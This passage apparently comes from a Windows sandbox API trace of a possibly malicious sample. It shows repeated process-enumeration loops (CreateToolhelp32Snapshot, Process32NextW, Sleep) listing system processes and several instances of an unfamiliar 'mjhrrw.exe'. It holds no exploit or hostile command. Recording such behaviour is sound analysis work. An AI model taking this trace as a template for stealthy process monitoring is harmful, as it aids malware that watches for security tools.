hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.905] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.905] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0256.906] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0256.907] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.922] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.923] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.924] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.925] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.926] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.926] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.927] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.927] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.928] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.929] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.930] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.930] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.931] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.932] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.933] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.933] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.934] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0256.935] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0256.936] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.936] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.937] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.939] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.940] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.941] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.941] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.942] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0257.103] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0257.104] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0257.105] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0257.105] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0257.106] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0257.107] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.107] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0257.109] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0257.109] CloseHandle (hObject=0x354) returned 1 [0257.109] Sleep (dwMilliseconds=0x1f4) [0258.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0258.082] Process32FirstW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.082] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.083] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.083] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.084] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.085] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.085] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.086] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.111] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.120] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0258.121] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0258.121] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.122] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.122] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.123] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.124] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.124] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.125] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.126] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.127] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.127] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.128] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.128] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.129] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.130] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.131] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.134] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.135] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0258.136] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0258.136] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0258.137] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.137] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.138] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.138] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.139] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.140] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0258.140] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0258.141] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0258.141] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0258.142] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0258.143] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.143] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0258.144] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0258.144] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.145] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, 